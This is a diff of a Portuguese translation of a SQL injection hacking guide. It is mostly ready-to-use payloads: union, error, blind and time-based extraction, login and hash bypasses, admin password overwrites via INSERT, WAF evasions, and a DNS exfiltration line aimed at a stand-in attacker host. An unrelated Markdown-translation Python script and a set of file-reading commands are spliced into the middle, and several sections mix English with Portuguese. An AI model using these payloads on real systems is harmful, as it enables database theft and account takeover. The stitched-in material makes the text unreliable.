-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_Existe uma maneira diferente de descobrir esses dados em cada banco de dados diferente, mas a metodologia é sempre a mesma._
|
||||
_Há uma maneira diferente de descobrir esses dados em cada banco de dados diferente, mas é sempre a mesma metodologia._
|
||||
|
||||
## Exploiting Hidden Union Based
|
||||
## Explorando Hidden Union Based
|
||||
|
||||
Quando a saída de uma consulta é visível, mas uma injeção baseada em união parece inatingível, isso significa a presença de uma **injeção baseada em união oculta**. Esse cenário frequentemente leva a uma situação de injeção cega. Para transformar uma injeção cega em uma baseada em união, é necessário discernir a consulta de execução no backend.
|
||||
Quando a saída de uma query é visível, mas uma injection union-based parece inalcançável, isso indica a presença de uma **hidden union-based injection**. Esse cenário frequentemente leva a uma situação de blind injection. Para transformar uma blind injection em uma union-based, é necessário identificar a query de execução no backend.
|
||||
|
||||
Isso pode ser realizado através do uso de técnicas de injeção cega juntamente com as tabelas padrão específicas do seu Sistema de Gerenciamento de Banco de Dados (DBMS) alvo. Para entender essas tabelas padrão, é aconselhável consultar a documentação do DBMS alvo.
|
||||
Isso pode ser realizado através do uso de técnicas de blind injection junto com as tabelas padrão específicas do seu DBMS alvo. Para entender essas tabelas padrão, é recomendado consultar a documentação do DBMS alvo.
|
||||
|
||||
Uma vez que a consulta tenha sido extraída, é necessário adaptar seu payload para fechar com segurança a consulta original. Em seguida, uma consulta de união é anexada ao seu payload, facilitando a exploração da injeção baseada em união recém-acessível.
|
||||
Uma vez que a query tenha sido extraída, é necessário adaptar seu payload para fechar com segurança a query original. Em seguida, uma union query é anexada ao seu payload, facilitando a exploração da union-based injection recém-acessível.
|
||||
|
||||
Para obter insights mais abrangentes, consulte o artigo completo disponível em [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
Para uma visão mais completa, consulte o artigo completo disponível em [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Exploiting Error based
|
||||
## Explorando Error based
|
||||
|
||||
Se por algum motivo você **não pode** ver a **saída** da **consulta**, mas pode **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltratem** dados do banco de dados.\
|
||||
Seguindo um fluxo semelhante ao da exploração baseada em União, você poderia conseguir despejar o DB.
|
||||
Se por algum motivo você **não puder** ver a **saída** da **query**, mas puder ver as **mensagens de erro**, você pode usar essas mensagens de erro para **ex-filtrate** dados do banco de dados.\
|
||||
Seguindo um fluxo semelhante ao da exploração Union Based, você pode conseguir dumpar o DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Explorando Blind SQLi
|
||||
|
||||
Neste caso, você não pode ver os resultados da consulta ou os erros, mas pode **distinguir** quando a consulta **retorna** uma resposta **verdadeira** ou **falsa** porque há conteúdos diferentes na página.\
|
||||
Neste caso, você pode abusar desse comportamento para despejar o banco de dados caractere por caractere:
|
||||
Neste caso você não consegue ver os resultados da query nem os erros, mas consegue **distinguir** quando a query **return** um **true** ou um **false** porque há conteúdos diferentes na página.\
|
||||
Nesse caso, você pode abusar desse comportamento para fazer o dump do banco de dados char by char:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Explorando SQLi Cega por Erro
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
Este é o **mesmo caso de antes**, mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode **distinguir entre** um **erro** na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL toda vez que adivinhar corretamente o caractere:
|
||||
Este é o **mesmo caso que antes**, mas em vez de distinguir entre uma resposta true/false da query você pode **distinguir entre** um **erro** na SQL query ou não (talvez porque o HTTP server trave). Portanto, neste caso você pode forçar um SQLerror cada vez que adivinhar corretamente o char:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Explorando SQLi Baseado em Tempo
|
||||
## Exploiting Time Based SQLi
|
||||
|
||||
Neste caso, **não há** como **distinguir** a **resposta** da consulta com base no contexto da página. Mas, você pode fazer a página **demorar mais para carregar** se o caractere adivinhado estiver correto. Já vimos essa técnica em uso anteriormente para [confirmar uma vulnerabilidade SQLi](#confirming-with-timing).
|
||||
Neste caso **não há** nenhuma maneira de **distinguir** a **resposta** da consulta com base no contexto da página. Porém, você pode fazer a página **demorar mais para carregar** se o caractere adivinhado estiver correto. Já vimos essa técnica em uso antes para [confirm a SQLi vuln](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Consultas Empilhadas
|
||||
## Stacked Queries
|
||||
|
||||
Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Note que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades blindas**, onde você pode usar uma segunda consulta para acionar uma consulta DNS, erro condicional ou atraso de tempo.
|
||||
You can use stacked queries to **executar múltiplas queries em sucessão**. Observe que, enquanto as queries subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, esta técnica é principalmente útil em relação a **blind vulnerabilities** onde você pode usar uma segunda query para acionar um DNS lookup, conditional error ou time delay.
|
||||
|
||||
**Oracle** não suporta **consultas empilhadas.** **MySQL, Microsoft** e **PostgreSQL** as suportam: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** não suporta **stacked queries.** **MySQL, Microsoft** e **PostgreSQL** suportam-nas: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Exploração Fora de Banda
|
||||
## Out of band Exploitation
|
||||
|
||||
Se **nenhum outro** método de exploração **funcionou**, você pode tentar fazer com que o **banco de dados exfiltre** as informações para um **host externo** controlado por você. Por exemplo, via consultas DNS:
|
||||
Se **no-other** exploitation method **worked**, você pode tentar fazer o **database ex-filtrate** as informações para um **external host** controlado por você. Por exemplo, via DNS queries:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
@ -328,11 +328,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```
|
||||
## Exploração Automatizada
|
||||
|
||||
Verifique a [SQLMap Cheatsheet](sqlmap/index.html) para explorar uma vulnerabilidade de SQLi com [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Consulte o [SQLMap Cheatsheet](sqlmap/index.html) para explorar uma vulnerabilidade SQLi com [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Informações técnicas específicas
|
||||
## Informações específicas da tecnologia
|
||||
|
||||
Já discutimos todas as maneiras de explorar uma vulnerabilidade de SQL Injection. Encontre mais algumas dicas dependentes da tecnologia de banco de dados neste livro:
|
||||
Já discutimos todas as formas de explorar uma vulnerabilidade SQL Injection. Encontre mais truques dependentes da tecnologia do banco de dados neste livro:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -340,7 +340,7 @@ Já discutimos todas as maneiras de explorar uma vulnerabilidade de SQL Injectio
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
Ou você encontrará **muitas dicas sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL em** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
Ou você encontrará **muitos truques relacionados a: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL em** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Bypass de autenticação
|
||||
|
||||
@ -351,37 +351,206 @@ Lista para tentar contornar a funcionalidade de login:
|
||||
../login-bypass/sql-login-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass de autenticação por hash bruto
|
||||
### Raw hash authentication Bypass
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Esta consulta demonstra uma vulnerabilidade quando o MD5 é usado com true para saída bruta em verificações de autenticação, tornando o sistema suscetível a SQL injection. Os atacantes podem explorar isso criando entradas que, quando hashadas, produzem partes inesperadas de comandos SQL, levando ao acesso não autorizado.
|
||||
Esta query demonstra uma vulnerabilidade quando MD5 é usado com true para raw output em verificações de autenticação, tornando o sistema suscetível a SQL injection. Atacantes podem explorar isso forjando inputs que, quando hashed, geram partes inesperadas de comandos SQL, permitindo acesso não autorizado.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Bypass de autenticação por hash injetado
|
||||
### Injetado hash authentication Bypass
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Lista recomendada**:
|
||||
|
||||
Você deve usar como nome de usuário cada linha da lista e como senha sempre: _**Pass1234.**_\
|
||||
_(Esses payloads também estão incluídos na grande lista mencionada no início desta seção)_
|
||||
Você deve usar como username cada linha da lista e como password sempre: _**Pass1234.**_\
|
||||
_(Estes payloads também estão incluídos na grande lista mencionada no início desta seção)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Bypass de Autenticação GBK
|
||||
### GBK Authentication Bypass
|
||||
|
||||
SE ' estiver sendo escapado, você pode usar %A8%27, e quando ' for escapado, será criado: 0xA80x5c0x27 (_╘'_)
|
||||
Se o ' estiver sendo escapado você pode usar %A8%27, e quando o ' for escapado será criado: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
Script em Python:
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Translate a Markdown file from English to Portuguese while preserving:
|
||||
- fenced code blocks (```...```)
|
||||
- inline code (`...`)
|
||||
- markdown links/images and their URLs ([text](url), )
|
||||
- HTML tags (<...>)
|
||||
- special tags/refs like {#...}
|
||||
- file paths and filenames (e.g. src/.../file.md)
|
||||
- a configurable list of keywords (cloud names, hacking words, etc.)
|
||||
|
||||
Usage:
|
||||
pip install googletrans==4.0.0-rc1
|
||||
python3 translate_md.py input.md output.md
|
||||
|
||||
Notes:
|
||||
- This script uses googletrans (unofficial API). For large/production use consider a paid translation API.
|
||||
- The protection regexes try to be conservative to avoid translating tokens you asked to keep.
|
||||
"""
|
||||
|
||||
import re
|
||||
import sys
|
||||
from googletrans import Translator
|
||||
|
||||
# --- Configuration ---
|
||||
PROTECT_WORDS = [
|
||||
# cloud / platform / common hacking words / technique names to keep as-is
|
||||
"aws", "gcp", "azure", "Workspace", "leak", "pentesting", "pentest",
|
||||
"SQL", "SQLi", "sql-injection", "sql_injection", "Docker", "Kubernetes",
|
||||
"ldap", "ssrf", "xss", "csrf", "RCE", "LFI", "RFI", "payload", "exploit",
|
||||
"nmap", "burp", "metasploit", "msfconsole", "ssh", "ftp", "http", "https",
|
||||
]
|
||||
DEST_LANG = "pt" # Portuguese
|
||||
|
||||
# --- Regexes for protected regions ---
|
||||
# Order matters: longer patterns first
|
||||
PATTERNS = [
|
||||
# Fenced code blocks (```lang\n...\n```), non-greedy
|
||||
(re.compile(r"```[\s\S]*?```"), "FENCED_CODE"),
|
||||
# HTML tags
|
||||
(re.compile(r"<[^>\n]+>"), "HTML_TAG"),
|
||||
# Markdown images 
|
||||
(re.compile(r"!\[.*?\]\([^\)]*\)"), "MD_IMAGE"),
|
||||
# Markdown links [text](url) -> leave entire link as-is (per instructions)
|
||||
(re.compile(r"\[.*?\]\([^\)]*\)"), "MD_LINK"),
|
||||
# Inline code `...`
|
||||
(re.compile(r"`[^`]*`"), "INLINE_CODE"),
|
||||
# Special tags like {#ref} or {#tab name="..."} or {#endref}
|
||||
(re.compile(r"\{#[^}]*\}"), "SPECIAL_TAG"),
|
||||
# File paths and filenames (simple heuristic: contains slash and maybe extension)
|
||||
(re.compile(r"\b[\w\-/]+\/[\w\-/\.]*\w+\.\w+\b"), "FILE_PATH"),
|
||||
# Simple filenames with extensions
|
||||
(re.compile(r"\b[\w\-/]+?\.\w{1,6}\b"), "FILENAME"),
|
||||
]
|
||||
|
||||
# Protected standalone words (will be masked within normal text)
|
||||
PROTECT_WORDS_RE = re.compile(
|
||||
r"\b(" + "|".join(re.escape(w) for w in PROTECT_WORDS) + r")\b", flags=re.IGNORECASE
|
||||
)
|
||||
|
||||
# --- Helper functions ---
|
||||
def mask_protected_regions(text, placeholders, start_index=0):
|
||||
"""
|
||||
Replace protected regions matched by PATTERNS with placeholders __PROT_n__.
|
||||
Save originals in placeholders list. Return new text and next index.
|
||||
"""
|
||||
idx = start_index
|
||||
for pattern, _name in PATTERNS:
|
||||
def _repl(m):
|
||||
nonlocal idx
|
||||
token = f"__PROT_{idx}__"
|
||||
placeholders.append(m.group(0))
|
||||
idx += 1
|
||||
return token
|
||||
text = pattern.sub(_repl, text)
|
||||
return text, idx
|
||||
|
||||
def mask_protect_words(text, placeholders, start_index=0):
|
||||
"""
|
||||
Replace words from PROTECT_WORDS with placeholders.
|
||||
"""
|
||||
idx = start_index
|
||||
def _repl(m):
|
||||
nonlocal idx
|
||||
token = f"__PROT_{idx}__"
|
||||
placeholders.append(m.group(0))
|
||||
idx += 1
|
||||
return token
|
||||
return PROTECT_WORDS_RE.sub(_repl, text), idx
|
||||
|
||||
def restore_placeholders(text, placeholders):
|
||||
"""
|
||||
Replace __PROT_n__ tokens with their original strings from placeholders.
|
||||
"""
|
||||
def repl(m):
|
||||
i = int(m.group(1))
|
||||
return placeholders[i]
|
||||
return re.sub(r"__PROT_(\d+)__", repl, text)
|
||||
|
||||
def chunk_and_translate(text, translator, dest=DEST_LANG, max_chars=4000):
|
||||
"""
|
||||
Translate large text by splitting into chunks under max_chars.
|
||||
Returns translated text.
|
||||
"""
|
||||
if not text.strip():
|
||||
return text
|
||||
|
||||
# Split by double newlines to keep paragraphs (greedy accumulation)
|
||||
parts = text.split("\n\n")
|
||||
chunks = []
|
||||
current = []
|
||||
cur_len = 0
|
||||
for p in parts:
|
||||
plen = len(p) + 2 # account for the separators we'll re-add
|
||||
if cur_len + plen > max_chars and current:
|
||||
chunks.append("\n\n".join(current))
|
||||
current = [p]
|
||||
cur_len = plen
|
||||
else:
|
||||
current.append(p)
|
||||
cur_len += plen
|
||||
if current:
|
||||
chunks.append("\n\n".join(current))
|
||||
|
||||
translated_parts = []
|
||||
for chunk in chunks:
|
||||
# googletrans can sometimes fail; basic retry
|
||||
for attempt in range(3):
|
||||
try:
|
||||
res = translator.translate(chunk, dest=dest)
|
||||
translated_parts.append(res.text)
|
||||
break
|
||||
except Exception as e:
|
||||
if attempt == 2:
|
||||
raise
|
||||
return "\n\n".join(translated_parts)
|
||||
|
||||
# --- Main processing ---
|
||||
def translate_markdown(input_text):
|
||||
placeholders = []
|
||||
# Step 1: Mask fenced code blocks and other protected patterns
|
||||
masked, next_idx = mask_protected_regions(input_text, placeholders, start_index=0)
|
||||
|
||||
# Step 2: Mask protect words inside the masked text
|
||||
masked, next_idx = mask_protect_words(masked, placeholders, start_index=next_idx)
|
||||
|
||||
# Now we have masked text where protected tokens are replaced by __PROT_n__.
|
||||
# Translate the remaining text.
|
||||
translator = Translator()
|
||||
translated = chunk_and_translate(masked, translator, dest=DEST_LANG)
|
||||
|
||||
# Restore placeholders
|
||||
restored = restore_placeholders(translated, placeholders)
|
||||
return restored
|
||||
|
||||
def main():
|
||||
if len(sys.argv) != 3:
|
||||
print("Usage: python3 translate_md.py input.md output.md")
|
||||
sys.exit(1)
|
||||
infile = sys.argv[1]
|
||||
outfile = sys.argv[2]
|
||||
with open(infile, "r", encoding="utf-8") as f:
|
||||
data = f.read()
|
||||
translated = translate_markdown(data)
|
||||
with open(outfile, "w", encoding="utf-8") as f:
|
||||
f.write(translated)
|
||||
print(f"Translated saved to {outfile}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
@ -390,49 +559,49 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Injeção poliglota (multicontexto)
|
||||
### Polyglot injection (multicontexto)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## Insert Statement
|
||||
## Declaração INSERT
|
||||
|
||||
### Modificar a senha de um objeto/usuário existente
|
||||
|
||||
Para isso, você deve tentar **criar um novo objeto nomeado como o "objeto mestre"** (provavelmente **admin** no caso de usuários) modificando algo:
|
||||
Para isso você deve tentar **criar um novo objeto com o mesmo nome do "master object"** (provavelmente **admin** no caso de usuários) modificando algo:
|
||||
|
||||
- Criar usuário nomeado: **AdMIn** (letras maiúsculas e minúsculas)
|
||||
- Criar um usuário nomeado: **admin=**
|
||||
- **SQL Truncation Attack** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com nome: **admin \[muitos espaços] a**
|
||||
- Criar usuário com nome: **AdMIn** (letras maiúsculas & minúsculas)
|
||||
- Criar um usuário com nome: **admin=**
|
||||
- **SQL Truncation Attack** (quando há algum tipo de **limite de tamanho** no username ou email) --> Criar usuário com nome: **admin \[a lot of spaces] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você quiser se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
|
||||
Se o banco de dados for vulnerável e o número máximo de chars para o username for por exemplo 30 e você quiser se passar pelo usuário **admin**, tente criar um username chamado: "_admin \[30 spaces] a_" e qualquer senha.
|
||||
|
||||
O banco de dados irá **verificar** se o **nome de usuário** introduzido **existe** dentro do banco de dados. Se **não**, ele irá **cortar** o **nome de usuário** para o **número máximo permitido de caracteres** (neste caso para: "_admin \[25 espaços]_") e então irá **remover automaticamente todos os espaços no final atualizando** dentro do banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que não funcionou).
|
||||
O banco de dados vai **verificar** se o **username** introduzido **existe** no banco. Se **não**, ele vai **cortar** o **username** ao **número máximo permitido de caracteres** (neste caso para: "_admin \[25 spaces]_") e em seguida ele vai **remover automaticamente todos os espaços no final atualizando** no banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que não funcionou).
|
||||
|
||||
Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Note: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco finais por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### Verificação baseada em tempo de inserção do MySQL
|
||||
### MySQL Insert time based checking
|
||||
|
||||
Adicione o máximo de `','',''` que considerar para sair da declaração VALUES. Se o atraso for executado, você tem uma SQLInjection.
|
||||
Adicione tantos `','',''` quanto considerar necessário para sair da cláusula VALUES. Se o delay for executado, você tem um SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar ações que o banco de dados deve tomar quando uma tentativa é feita para inserir uma linha que resultaria em um valor duplicado em um índice UNIQUE ou PRIMARY KEY. O seguinte exemplo demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:
|
||||
A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar ações que o banco de dados deve executar quando se tenta inserir uma linha que resultaria em um valor duplicado em um índice UNIQUE ou PRIMARY KEY. O exemplo a seguir demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:
|
||||
|
||||
Exemplo de Injeção de Payload:
|
||||
Exemplo Payload Injection:
|
||||
|
||||
Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas para serem inseridas na tabela `users`. A primeira linha é uma isca, e a segunda linha tem como alvo o e-mail de um administrador existente com a intenção de atualizar a senha:
|
||||
Um injection payload pode ser elaborado da seguinte forma, onde tenta-se inserir duas linhas na tabela `users`. A primeira linha é uma isca, e a segunda mira no email de um administrador existente com a intenção de atualizar a senha:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
Aqui está como funciona:
|
||||
Veja como funciona:
|
||||
|
||||
- A consulta tenta inserir duas linhas: uma para `generic_user@example.com` e outra para `admin_generic@example.com`.
|
||||
- A query tenta inserir duas linhas: uma para `generic_user@example.com` e outra para `admin_generic@example.com`.
|
||||
- Se a linha para `admin_generic@example.com` já existir, a cláusula `ON DUPLICATE KEY UPDATE` é acionada, instruindo o MySQL a atualizar o campo `password` da linha existente para "bcrypt_hash_of_newpassword".
|
||||
- Consequentemente, a autenticação pode ser tentada usando `admin_generic@example.com` com a senha correspondente ao hash bcrypt ("bcrypt_hash_of_newpassword" representa o hash bcrypt da nova senha, que deve ser substituído pelo hash real da senha desejada).
|
||||
|
||||
@ -440,7 +609,7 @@ Aqui está como funciona:
|
||||
|
||||
#### Criando 2 contas ao mesmo tempo
|
||||
|
||||
Ao tentar criar um novo usuário, nome de usuário, senha e e-mail são necessários:
|
||||
Ao tentar criar um novo usuário, são necessários username, password e email:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
@ -449,13 +618,21 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
||||
```
|
||||
#### Usando decimal ou hexadecimal
|
||||
|
||||
Com esta técnica, você pode extrair informações criando apenas 1 conta. É importante notar que você não precisa comentar nada.
|
||||
Com esta técnica você pode extrair informações com apenas 1 conta. É importante notar que você não precisa comentar nada.
|
||||
|
||||
Usando **hex2dec** e **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
Para obter o texto, você pode usar:
|
||||
To get the text you can use:
|
||||
|
||||
```
|
||||
cat src/pentesting-web/sql-injection/README.md
|
||||
less src/pentesting-web/sql-injection/README.md
|
||||
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
|
||||
git show HEAD:src/pentesting-web/sql-injection/README.md
|
||||
curl -s https://raw.githubusercontent.com/<user>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
@ -468,20 +645,20 @@ Usando **hex** e **replace** (e **substr**):
|
||||
#Full ascii uppercase and lowercase replace:
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
## Injeção SQL Roteada
|
||||
## Routed SQL injection
|
||||
|
||||
A injeção SQL roteada é uma situação em que a consulta injetável não é a que gera a saída, mas a saída da consulta injetável vai para a consulta que gera a saída. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection é uma situação onde a query injetável não é aquela que produz output, mas o output da query injetável é direcionado para a query que produz output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Exemplo:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## Bypass de WAF
|
||||
## WAF Bypass
|
||||
|
||||
[Bypasses iniciais daqui](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### Bypass sem espaços
|
||||
### No spaces bypass
|
||||
|
||||
No Space (%20) - bypass usando alternativas de espaço em branco
|
||||
```sql
|
||||
@ -492,17 +669,17 @@ No Space (%20) - bypass usando alternativas de espaço em branco
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
Sem Espaço - contornar usando comentários
|
||||
No Whitespace - bypass usando comentários
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
Sem espaço - contornar usando parênteses
|
||||
No Whitespace - bypass usando parênteses
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### Bypass sem vírgulas
|
||||
### No commas bypass
|
||||
|
||||
Sem vírgula - bypass usando OFFSET, FROM e JOIN
|
||||
No Comma - bypass usando OFFSET, FROM e JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
@ -516,7 +693,7 @@ Blacklist usando palavras-chave - bypass usando maiúsculas/minúsculas
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Lista negra usando palavras-chave sem diferenciar maiúsculas de minúsculas - contornar usando um operador equivalente
|
||||
Blacklist usando keywords case insensitive - bypass usando um operador equivalente
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -524,20 +701,20 @@ OR -> || -> %7C%7C
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||
```
|
||||
### Bypass de WAF com Notação Científica
|
||||
### Scientific Notation WAF bypass
|
||||
|
||||
Você pode encontrar uma explicação mais detalhada desse truque no [blog da gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Você pode encontrar uma explicação mais aprofundada deste truque no [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Basicamente, você pode usar a notação científica de maneiras inesperadas para contornar o WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
' or 1.e('')=
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
### Contornar a Restrição de Nomes de Colunas
|
||||
|
||||
Primeiro de tudo, note que se a **consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
|
||||
Primeiro, observe que se a **consulta original e a tabela da qual você quer extrair a flag tiverem a mesma quantidade de colunas** você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
|
||||
|
||||
